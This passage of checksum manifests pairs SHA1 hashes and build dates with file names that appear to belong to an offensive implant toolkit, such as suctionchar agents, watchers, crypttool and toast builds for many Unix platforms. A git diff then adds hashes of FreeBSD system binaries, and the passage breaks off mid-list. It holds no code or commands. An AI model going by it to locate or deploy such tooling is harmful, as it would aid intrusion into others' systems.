16:36:06 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.9_x86-linux-centos-5.5 +2DFBD9E8FEC72D3D0564BE0E98658F889BECBE83 Wed Oct 24 16:36:06 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.5.9_sparc-sun-solaris2.10 +0A754E0B47742DA9C11E63C06FBDA9E2A8FD1B88 Wed Oct 24 16:36:06 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.14.1_x86-freebsd-8.2 +2FA816431A5D758F6661203AA4A2695D3805A797 Wed Oct 24 16:36:06 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.12.8_x86-linux-suse-enterprise-10.2 +C3D6DB417EDDAB91C041900F2BE89BA515E47B48 Wed Oct 24 16:36:06 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.9_suctionchar_x86_64_linux_centos_5.3 +FACD9823BB2878BACDB698BB9E03D1E08D99D7AC Wed Oct 24 16:36:07 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.2_sparc-sun-solaris2.8 +F44DD04C8BBCD444B8BC0F383CD9C4D2DFA51E61 Wed Oct 24 16:36:07 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.13.10_x86-linux-fedora10 +73887FA600AA202B81AA3A968E2CE696B9B51C4D Wed Oct 24 16:36:07 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.10.3_x86-linux-centos-5.7 +3AE5B00F9D44DD78B062F3D90C71342BD1E20E46 Wed Oct 24 16:36:07 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.29_x86-freebsd-6.3 +2878828ACD8881E3235929DC09EB3D8FF681E214 Wed Oct 24 16:36:07 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.7.32_x86_64-linux-redhat-enterprise-5.5 +CCFB6D3DD8D251DB4606564559E92E01A099650D Wed Oct 24 16:36:07 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.13.21_x86-linux-redhat-enterprise-5.7 +D80130340E81F3235E61E58774EE5CCB4680047B Wed Oct 24 16:36:08 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.11.4_x86_64-freebsd-8.1 +D6838EA20258B62B17DDAB785545E6E77112CA0E Wed Oct 24 16:36:08 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.15.11_i386-pc-solaris2.10 +F2693BE6BA7104AB3DFF990FCEBF61B295032C21 Wed Oct 24 16:36:08 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.27.13_i386-pc-solaris2.10 +0448178480FF0C788AEF30043CB639CBA7669CEE Wed Oct 24 16:36:08 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.23_x86-linux-redflag-4.1 +1117B932D5831100E1AB7EDA438169164629AFBC Wed Oct 24 16:36:08 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.0.8.1_x86-linux-fedora10 +C05F6A9464ACE7FF55CC5AE6DBA08821A827A2C6 Wed Oct 24 16:36:08 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.7.5_sparc-sun-solaris2.10 +FF08F752A666460ABB5C7F6236C3A1715A164D7F Wed Oct 24 16:36:09 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.27.9_sparc-sun-solaris2.9 +323CA33134B89D638D042CEB7189F441CBB9E2C6 Wed Oct 24 16:36:09 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.39.3_x86-linux-fedora6 +34A3B8DC97EE70D06268A9F0F1B7C5CD5F3B2A95 Wed Oct 24 16:36:09 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.2.0.7_x86-linux-centos-5.5 +B4FE45BF76EFF892B548B67495AF7DD8D454E325 Wed Oct 24 16:36:09 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.10.4_x86_64-linux-centos-5.7 +919CD1022BF8F930438FBC51FD941F509E0318E2 Wed Oct 24 16:36:09 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.28_x86-freebsd-6.1 +0F633EE235BFFD7B3113921D70D324E292E7E32F Wed Oct 24 16:36:09 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.1.5_x86_64-linux-centos-5.5 +FB9B9ED25B42073BA99376B487E7898D8733FE16 Wed Oct 24 16:36:10 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.0.1.12_x86-linux-asianux-1.0 +3CEFBAAA25AD094B7A791F738351310CB35E6FDD Wed Oct 24 16:36:10 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.16_x86-linux-debian-4.0 +727D39DDD4F58B69CD6161BCFB4D622D5F2089E2 Wed Oct 24 16:36:10 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.1.1_x86-freebsd-5.3 +3B9B4B5B9FD9981340711C1A05FF13F35AD94FAF Wed Oct 24 16:36:10 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.3.3_x86_64-linux-suse-10.2 +5365C6F41CD1378172E4F9FF0D46824F762EE8DE Wed Oct 24 16:36:10 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.2.0.3_sparc-sun-solaris2.9 +9ECB5DED626253806AD8F154DC7DF9C6F82C6D49 Wed Oct 24 16:36:10 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.7.43_x86_64-linux-suse-enterprise-10.2 +2934F5C96DF5AED4E921A1BFFB2FEAA32058F405 Wed Oct 24 16:36:11 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.8.5_x86-freebsd-7.2-raptortalon +8547FB3515B11A7634E3F42605D3265E546C1967 Wed Oct 24 16:36:11 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.4.10_x86-linux-fedora7 +0F9A431467A8D38A67A41A4AF22EA64F4886E195 Wed Oct 24 16:36:11 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.11.5_x86-linux-fedora13 +506C18B7EF79D0B37E4237D00C27F6A43F67F57D Wed Oct 24 16:36:11 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.8.2_x86_64-linux-centos-5.5 +75C5F9D673D86BCD91E9AD72AD153265C00BE8E7 Wed Oct 24 16:36:11 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.6.10_x86_64-linux-centos-5.5 +02EAF468E611DF15AF9F7576E201D2034408A42C Wed Oct 24 16:36:11 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.7.4_x86-linux-redhat-7.1-tilttop +D8C1575ABEDB300D01E6278A66DF0ADD42CF9434 Wed Oct 24 16:36:11 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.8.1_x86-linux-fedora13 +8FC33FC52D05CF95A3F1EC8B2E1BDBC13B177297 Wed Oct 24 16:36:12 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.27.16_x86-linux-mandrake-9.2 +BF14A6BECD4137167D0414604327308F40EDE7D5 Wed Oct 24 16:36:12 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.14_x86-linux-fedora8 +74672B9E50D5BA530AD682E0C687A1565EEFCB47 Wed Oct 24 16:36:12 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.29_x86-freebsd-6.3 +3F6510DAD826BD163F2CAB5F2837EF7CBE009828 Wed Oct 24 16:36:12 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__1.5.17.7_x86-linux-centos-5.4 +E40B6FF13EFE11953BEBC1F7D038236FE8CF20F6 Wed Oct 24 16:36:12 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.13.9_x86_64-linux-redhat-enterprise-5.6 +23A4D8E76B87F499BC2EFC372E57A101CFE2DAD2 Wed Oct 24 16:36:12 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.32.8_sparc-sun-solaris2.9 +9634BC1B95BC0575BF6ABEBAAFE2CC7B53DDDC2F Wed Oct 24 16:36:12 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.26_x86-linux-centos-4.7 +D99AA6689E24CC12BBE9D58DF678C42ED34CDB65 Wed Oct 24 16:36:13 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.13.16_x86-freebsd-7.1-dutchstorm +E4B7F365FE6068CB0ACB81D47EC3FA2B57CDDF64 Wed Oct 24 16:36:13 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.1.10_x86-linux-ubuntu-8.04 +2C0A4086E70799D303E2B09499A6EA909B52733A Wed Oct 24 16:36:13 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.14.7_suctionchar_x86_64_linux_suse_enterprise_10.3 +9ACA4B7983B97A24D20BEBEE4759899743FF9080 Wed Oct 24 16:36:13 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.34_x86-freebsd-7.3 +A505A0762A425ABBE260CDFA9EDEDBA13E92FD06 Wed Oct 24 16:36:13 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.6.13_x86-linux-centos-4.7 +0E11E876D417699E4EC6995FD3435FC4C9874A02 Wed Oct 24 16:36:13 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.18.1_x86-freebsd-6.2 +455620F1861353F430638F34D17B7808ED050DC5 Wed Oct 24 16:36:14 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.1.6_x86-linux-centos-4.8 +4CAC00F5D9B2A41DEE57280D9622B3F5087B1B64 Wed Oct 24 16:36:14 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.12.7_i386-pc-solaris2.10 +F68D71EB6403AF032D088B13CFDBFDEAEEAE9764 Wed Oct 24 16:36:14 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.12.10_sparc-sun-solaris2.8 +5FFC8A80C75CBA63ECF2C47A51DC6A10F9A9D45C Wed Oct 24 16:36:14 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.7.33_sparc-sun-solaris2.8 +2FE3922A57BF20CAC4A8A4F5C20324A088EBD224 Wed Oct 24 16:36:14 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.8_x86-linux-centos-5.6 +475158CCC0AD37AC6766464660736DF05C3C72B4 Wed Oct 24 16:36:14 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.0.1.2_sparc-sun-solaris2.8 +178093109EF888F89BF7C733523DBD4A58673F46 Wed Oct 24 16:36:14 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.11.11_x86-linux-centos-5.7 +69AB7D7D8D1D011BB78D9B128CBB7B6FE7651679 Wed Oct 24 16:36:14 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.12.6_x86-freebsd-5.4 +5C41E9C22072034F8DF462B8341BB5ABA00069CA Wed Oct 24 16:36:14 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.6.3_x86-freebsd-7.4-switchdown_surf_sr +E10504B92D4E1CF47CF1FAEF2467E78F7762DDA6 Wed Oct 24 16:36:15 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.14.4_x86_64-linux-suse-enterprise-10.0 +D025BF3CDDB9832B6BAAE422E7C9902BF4D1F057 Wed Oct 24 16:36:15 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.7.29_x86-linux-centos-5.4 +BAC38E7BC65DD86F26B00E23A9A6822937B02A8A Wed Oct 24 16:36:15 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.6.31_x86-linux-centos-5.6 +16D9131AD71018226A5E53FFCFA78E513F890324 Wed Oct 24 16:36:15 2012 [PITCHIMPAIR.29] routerfun.txt +287B74BBB42DEA8C46DD9407657A160D20CF18C3 Wed Oct 24 16:36:15 2012 [PITCHIMPAIR.29] tftpdshort.txt +BB244C54E91728D750E381002963B756F66014FD Wed Oct 24 16:36:15 2012 [PITCHIMPAIR.29] tftpd.8 +99722CBEFA4A0F36426BFB4561D0FA83F27418E4 Wed Oct 24 16:36:15 2012 [PITCHIMPAIR.29] tftpd_clean +5F5D85F10291DF403FCB5A872E49B3A01BE82EFF Wed Oct 24 16:36:15 2012 [PITCHIMPAIR.29] netReceiveServer.pl +21BA6A0A29F508DE956A1044E189EED9526E6DAE Wed Oct 24 16:36:16 2012 [PITCHIMPAIR.29] SNMP_Session.pm +47658EBF3D1946972C9571BD25EEBE3CF35F8778 Wed Oct 24 16:36:16 2012 [PITCHIMPAIR.29] tftpd +D96E291F333395D513707BF811C5C90EDE37AAAD Wed Oct 24 16:36:16 2012 [PITCHIMPAIR.29] netSendServer.pl +22AE21E1EC6325AE0309ED6D448FB9BAA0927D7F Wed Oct 24 16:36:16 2012 [PITCHIMPAIR.29] BER.pm +C08960DE12E9F8BCF0A472BB1E347D0192962CB3 Wed Oct 24 16:36:16 2012 [PITCHIMPAIR.29] get_config.pl +C39640A8C441FDC51C54E0DC7A61FDEB08A2EC1D Wed Oct 24 16:36:16 2012 [PITCHIMPAIR.29] send_config.pl +E16CEB4CB54D1E14BFE7BB8056AC384D33BCFEC7 Wed Oct 24 16:36:17 2012 [PITCHIMPAIR.29] watcher-2.7.1.0-solaris-sparc_v.2.7.1.0 +A6DBEBE55655712831318E3DDEDE00CFEA26A3AB Wed Oct 24 16:36:17 2012 [PITCHIMPAIR.29] store_v.2.7.1.0 +027FCD5B88CFD0B500ECFAB7D4C687E9E69F33E2 Wed Oct 24 16:36:18 2012 [PITCHIMPAIR.29] watcher-2.7.1.0-solaris-i386_v.2.7.1.0 +75F15A98F8B583FEFA60579A4765DDE23E853EFF Wed Oct 24 16:36:18 2012 [PITCHIMPAIR.29] watcher-2.7.1.0-linux-i386_v.2.7.1.0 + +1E828B954122123263D9A1516067C356DFE89BCF Tue Jun 26 20:04:18 2012 [PITCHIMPAIR.31] deepfryer.php_v.2.1.0.1 +3DC70B280A3191CE13EA0AA37367D985162D89FB Fri Oct 19 17:53:11 2012 [PITCHIMPAIR.31] charm_hammer.linuxrh7.3.i686_v.1.0.0.3 +34288D6AEE12B7413901998B0E5ECD57A50980F6 Thu Nov 8 15:22:09 2012 [PITCHIMPAIR.31] charm_razor.linux2.6.5-7.97-smp.i686_v.2.1.0.2 +1466A8AEA41F847EDC98C31B34C8810D836643AF Fri Dec 7 20:24:08 2012 [PITCHIMPAIR.31] watcher-3.0.0.1-solaris-i386_v.3.0.0.1 +8C05CF9DEBA1356F8E12EF61FAE887DF407DF4F4 Fri Dec 7 20:24:09 2012 [PITCHIMPAIR.31] watcher-3.0.0.1-linux-i386_v.3.0.0.1 +EA155D62A480F34EF4EB789895D41A3F786F0A47 Fri Dec 7 20:24:08 2012 [PITCHIMPAIR.31] watcher-3.0.0.1-solaris-sparc_v.3.0.0.1 +F99FC7101C9DFFB60108112471AC484969249FE0 Fri Dec 7 20:24:09 2012 [PITCHIMPAIR.31] store_v.3.0.0.1 +E4A544206B0501E67F16A26093428AC334A973E5 Fri Dec 7 21:14:15 2012 [PITCHIMPAIR.31] cursefire.linuxrh7.3.i686_v.1.1.0.2 +42B4B6D0DC192F191613197A305C2B2CBEFD28C8 Fri Dec 14 19:37:31 2012 [PITCHIMPAIR.31] curselion.aix5.1.powerpc_v.2.0.0.2 +80A7419E7A8CFD28E0E790F79AC518EEFEAE93CA Fri Dec 21 16:37:37 2012 [PITCHIMPAIR.31] crypttool.hpuxb.11.00_v.2.1.0.2 +9096C1AA8ECEDA532F47F82572ED5534F33FA4C7 Fri Dec 21 16:37:35 2012 [PITCHIMPAIR.31] crypttool.sunos5.8.sparc_v.2.1.0.2 +93249C66F57121DEBD98395E0B5A10517CA25DD4 Fri Dec 21 16:37:37 2012 [PITCHIMPAIR.31] crypttool.aix5.1_v.2.1.0.2 +937F493E538B96C29F48A5957B16B0356498998B Fri Dec 21 16:37:33 2012 [PITCHIMPAIR.31] crypttool.linux2.4.18-3_v.2.1.0.2 +954F4778E5CD7A31B575B8C3C5B69A24D753E87B Fri Dec 21 16:37:36 2012 [PITCHIMPAIR.31] crypttool.win2k_v.2.1.0.2 +A69F4E110877B015D2909B8F54BC18169A589F47 Fri Dec 21 16:37:36 2012 [PITCHIMPAIR.31] crypttool.sunos5.8.i386_v.2.1.0.2 +10964C179463D1B5F590594AEF9FB8561D946724 Mon Jan 14 19:20:19 2013 [PITCHIMPAIR.31] sift_-freebsd_6.0-i386_v.2.1.0.0 +2D691871F36B3A0A7DCB1F1F9B0ECFAA6EE67CB6 Mon Jan 14 19:20:21 2013 [PITCHIMPAIR.31] sift_-solaris_2.8-i386_v.2.1.0.0 +39E8B3A8B392FAFB8BB57054E085A3F3440E9DBB Mon Jan 14 19:20:22 2013 [PITCHIMPAIR.31] sift_-linux-x86_64_v.2.1.0.0 +491A116C4E73A2380250BB5A027F9FF948293813 Mon Jan 14 19:20:19 2013 [PITCHIMPAIR.31] sift_-freebsd_5.0-i386_v.2.1.0.0 +6E9B85244523AF53F343FE18D3EBDE4BDCE5FA65 Mon Jan 14 19:20:20 2013 [PITCHIMPAIR.31] sift_-freebsd_7.0-i386_v.2.1.0.0 +B3A30430A5347C1723F65072951CCF05E079DB14 Mon Jan 14 19:20:20 2013 [PITCHIMPAIR.31] sift_-linux-i386_v.2.1.0.0 +C5472F33F1F5AEB61974A866EB5A9705C3892A41 Mon Jan 14 19:20:20 2013 [PITCHIMPAIR.31] sift_-solaris_2.7-sparc_v.2.1.0.0 +F6D063A987D2DAD4B970F0FB84B3E5AD342A1410 Mon Jan 14 19:20:21 2013 [PITCHIMPAIR.31] sift_-freebsd_7.0-x86_64_v.2.1.0.0 +22BCBA573DB3CAC277B5C17A4E5F4EFA5C0BC494 Thu Mar 21 18:11:53 2013 [PITCHIMPAIR.33] head.store-linux-i386_v.3.1.0.1 +A6DBEBE55655712831318E3DDEDE00CFEA26A3AB Fri Aug 31 14:18:58 2012 [PITCHIMPAIR.33] head.store_v.2.7.1.0 +F99FC7101C9DFFB60108112471AC484969249FE0 Fri Dec 7 20:09:14 2012 [PITCHIMPAIR.33] head.store_v.3.0.0.1 +9CE6C0CA06E724046DEDA555CB717AC540544906 Fri Mar 22 22:15:16 2013 [PITCHIMPAIR.33] head.tools.sha1sums.txt +442D375F5793B9DADCCC3E6E7E4B53AC6BE38ACA Fri Mar 22 22:15:16 2013 [PITCHIMPAIR.33] head.tools.sums.txt +DAB563F171E641C5AE2CDF04FA61897BDA856EFD Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.33] head.watcher-2.6.0.1-linux-i386 +AC3587F6D220589EB4B4BC309D41C01927F04913 Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.33] head.watcher-2.6.0.1-solaris2.6-sparc +EEC23C86B7F6BA109B7D5C8F152BA5F1146DEF51 Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.33] head.watcher-2.6.1.1-linux-i386 +3F8A4AD132349F8D1A702AF1A83DA790644706AE Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.33] head.watcher-2.6.1.1-solaris2.6-sparc +65B31BEB0E547D5A4379853F179B64549E4C1394 Fri Oct 14 22:25:03 2011 [PITCHIMPAIR.33] head.watcher-2.7.0.0-linux-i386 +6B13715AE6513BD98BAE516411B891D54CB0F5F7 Fri Oct 14 22:25:03 2011 [PITCHIMPAIR.33] head.watcher-2.7.0.0-solaris-sparc +561650B8654DFDD15818F49CC20C4BDC3ADF0BD4 Fri Oct 14 22:25:03 2011 [PITCHIMPAIR.33] head.watcher-2.7.0.0-solaris-x86 +1A776AE2662BE4F00C9712ABB069D1AE0F9D1996 Fri Aug 31 14:18:58 2012 [PITCHIMPAIR.33] head.watcher-2.7.1.0-linux-i386 +64668888450529FE8CE610AEED028CFC95C58BBD Fri Aug 31 14:18:58 2012 [PITCHIMPAIR.33] head.watcher-2.7.1.0-solaris-i386 +CF511DD84EB1101B71B6D44B55D306E5023BC853 Fri Aug 31 14:18:58 2012 [PITCHIMPAIR.33] head.watcher-2.7.1.0-solaris-sparc +70E3C9D556BD9DC383B03890224F04E4B505A32A Fri Dec 7 20:09:14 2012 [PITCHIMPAIR.33] head.watcher-3.0.0.1-linux-i386 +B4EE4D7FF7780EA19168058BAB5175B709D33A88 Fri Dec 7 20:09:14 2012 [PITCHIMPAIR.33] head.watcher-3.0.0.1-solaris-i386 +EA254459092C6014D89F7BD1386CB8BCFB41408D Fri Dec 7 20:09:14 2012 [PITCHIMPAIR.33] head.watcher-3.0.0.1-solaris-sparc +45CA2124CAD9EB1C53E32D72EBDDE762E2BC0D80 Thu Mar 21 18:11:53 2013 [PITCHIMPAIR.33] head.watcher-3.1.0.1-linux-i386 +70868991243469F08F8B2F77EB2B017E57094F45 Thu Mar 21 18:11:53 2013 [PITCHIMPAIR.33] head.watcher-3.1.0.1-linux-x86_64 +8CE2AF19FED5C897059C96444BD3B99778766E2D Thu Mar 21 18:11:53 2013 [PITCHIMPAIR.33] head.watcher-3.1.0.1-solaris-i386 +25999D85ED535347DCCC54019B90A9B239BEC4D2 Thu Mar 21 18:11:53 2013 [PITCHIMPAIR.33] head.watcher-3.1.0.1-solaris-sparc +09A287C371A9BE0CBF070CE8985A4512CED4EA9E Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.33] watcher-2.6.0.1-linux-i386 +84D4C64A64294E71B5409FD4DBA95359B7F1C11A Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.33] watcher-2.6.0.1-solaris2.6-sparc +E68A9D191E0F386E021DB15F84241D5064E9CB5D Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.33] watcher-2.6.1.1-linux-i386 +79B04CB34130F60B3FF747E02C5F6BFFD2701B9F Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.33] watcher-2.6.1.1-solaris2.6-sparc +65B31BEB0E547D5A4379853F179B64549E4C1394 Fri Oct 14 22:25:03 2011 [PITCHIMPAIR.33] watcher-2.7.0.0-linux-i386 +CF671F45391B1F03BC2D2DF1D6E513A831E14910 Fri Oct 14 22:25:03 2011 [PITCHIMPAIR.33] watcher-2.7.0.0-solaris-sparc +FD4AAB02DF0364B049723EE34BBF92C9472426D6 Fri Oct 14 22:25:03 2011 [PITCHIMPAIR.33] watcher-2.7.0.0-solaris-x86 +75F15A98F8B583FEFA60579A4765DDE23E853EFF Fri Aug 31 14:18:58 2012 [PITCHIMPAIR.33] watcher-2.7.1.0-linux-i386 +027FCD5B88CFD0B500ECFAB7D4C687E9E69F33E2 Fri Aug 31 14:18:58 2012 [PITCHIMPAIR.33] watcher-2.7.1.0-solaris-i386 +E16CEB4CB54D1E14BFE7BB8056AC384D33BCFEC7 Fri Aug 31 14:18:58 2012 [PITCHIMPAIR.33] watcher-2.7.1.0-solaris-sparc +8C05CF9DEBA1356F8E12EF61FAE887DF407DF4F4 Fri Dec 7 20:09:14 2012 [PITCHIMPAIR.33] watcher-3.0.0.1-linux-i386 +1466A8AEA41F847EDC98C31B34C8810D836643AF Fri Dec 7 20:09:14 2012 [PITCHIMPAIR.33] watcher-3.0.0.1-solaris-i386 +EA155D62A480F34EF4EB789895D41A3F786F0A47 Fri Dec 7 20:09:14 2012 [PITCHIMPAIR.33] watcher-3.0.0.1-solaris-sparc +3C0D6C9462CEA03B24A24F38DB805C8FE65C140F Thu Mar 21 18:11:53 2013 [PITCHIMPAIR.33] watcher-3.1.0.1-linux-i386 +BEA2F86CB75176020B5A66DED1862CCEEFCD7CA5 Thu Mar 21 18:11:53 2013 [PITCHIMPAIR.33] watcher-3.1.0.1-linux-x86_64 +2AA8DB5704F4AA3C6CE32C601948630879EE7497 Thu Mar 21 18:11:53 2013 [PITCHIMPAIR.33] watcher-3.1.0.1-solaris-i386 +69674CC270DED2263C165DB80F76BB5C8BBA1576 Thu Mar 21 18:11:53 2013 [PITCHIMPAIR.33] watcher-3.1.0.1-solaris-sparc +c3e4d54b6d15e525a2ded86df0c5e12882a905d2 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v1.0.0.1-junos +5ca4f7c192e4ab269e41ba6576403a11419da1a5 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v2.0.0.53-debian.sparc +277746f601212edcc484f2f1122aae613a1d97c6 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v2.0.0.53-freebsd.5.3 +cf6214fe5cf77d6cf7965471572d3ae7e4a987b4 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v2.0.2.1-junos.static +f32e326194c3a6391ed963f77cd061e699bfade3 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v2.1.0.1-hpux.itanium +5d665f2d23ff4e4a86a7fe46369d6a24458e27a8 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.0.0.0-linux-x86_64 +39c24760d5c4d4e8a58d346e8afc99a49eed0201 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.0.0-freebsd-9.0.i386 +ea828a79d7c921ad0b4ff9db41c2d523ea2a20f2 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.0.0-freebsd-9.0.x86_64 +1318c2833c145ab23c5eed1d3ab09211daec3a6b Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-freebsd4-x86 +f6b8802d8d400fb9f35b76cf0c2cccbf15d2bb7f Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-freebsd5-x86 +7878d4af6985283ac496eeab257af7dc2b661fef Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-freebsd6-x86 +659be20a79488b3e27f31694e59fadefbf620455 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-freebsd7-x86 +21082aed59ff2258e7985221db20bb5667a609a7 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-freebsd7-x86_64 +22fc8e8d2ad3d2671a432a6d12bb549bac724d0c Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-freebsd8-x86 +15f8af6cd2850d5bc156590c4becc2b5ea88ce2f Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-freebsd8-x86_64 +c5a9958dec313f9b6fdebd601ec6836db46d9703 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-linux-x86 +985c6b3b1f535317f83cc95e66be052e4d09d0eb Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-solaris10-x86 +e65eb0bb22abdcd0e18b7a8a7d27fc0af6d7fc2b Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-solaris-sparc +7ccff79954f8867f1ff6a1d24fd3230c21be2ee0 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.1.1.0-solaris-x86 +a01e1cfae98a6d6dfa86554b0b665d798e036733 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.2.0.1-linux +dd687c88afca70dadb03d95e434629cbd575d4af Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.2.0.2-x86-solaris +69b3271ce6c08e3e10b53a90b85ccaaac4cdb5e8 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.2.0.3-sparc-solaris +c02c3d90e30f05ba014f0bc8c786951a39b32422 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.2.0.4-x86-freebsd8 +92f4a2517c70a5879df57352fce88c0ed84c87a4 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.2.0.5-x86-freebsd9 +1354bf206cb6ec8a5d31dabcd6ffee1a0babbb0c Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.2.0.6-x86-freebsd5 +8b66a049f0ed98a876aad288817b8fcf0d639227 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.2.0.8-x86-freebsd6 +60811a2c67891f0c541c0dfb0fa54e48f43642a3 Sun Jul 28 16:52:04 2013 [PITCHIMPAIR.37] toast_v3.2.0.9-x86-freebsd7 diff --git a/Linux/etc/sha1sums.previous b/Linux/etc/sha1sums.previous new file mode 100644 index 0000000..67668a2 --- /dev/null +++ b/Linux/etc/sha1sums.previous @@ -0,0 +1,3684 @@ +1589028FB693DB7238AB6F1A8F378EC7AB4CD7BF Thu Nov 3 08:10:07 2005 /bin/ls [FreeBSD 6.0] +784656264792F969AA0D851210E3EC5F05E6C345 Thu Nov 3 08:10:07 2005 /bin/ps [FreeBSD 6.0] +B380A27C131956D22A08BFB2EBE3EB8D92611869 Thu Nov 3 08:10:08 2005 /bin/sh [FreeBSD 6.0] +B22A633D4AC583C87FF8287F73DB6A24D0A2D8AD Thu Nov 3 08:10:08 2005 /bin/rm [FreeBSD 6.0] +D0100BEEE99676DC8D67F952F821AA98ABFA69F6 Thu Nov 3 08:11:31 2005 /usr/bin/su [FreeBSD 6.0] +CC6A7BD23BA9B653A053F4F4E25852FD4297AF16 Thu Nov 3 08:11:23 2005 /usr/bin/login [FreeBSD 6.0] +59EF58B274090371F1B921D8C5682E945BC2BB39 Thu Nov 3 08:11:27 2005 /usr/bin/netstat [FreeBSD 6.0] +13534AAE38F5A5358310348DF408AB0B2C679F8E Thu Nov 3 08:11:38 2005 /usr/sbin/arp [FreeBSD 6.0] +7B94BE2AF4D607CE3407716A456922D83F572000 Thu Nov 3 08:11:20 2005 /usr/bin/find [FreeBSD 6.0] +C850D6185AA66813389BEEACFE5C96E894969BFE Thu Nov 3 08:11:46 2005 /usr/sbin/inetd [FreeBSD 6.0] +6584F7BC02B0E65784E1A50102C01AF93B9A2339 Thu Nov 3 08:11:32 2005 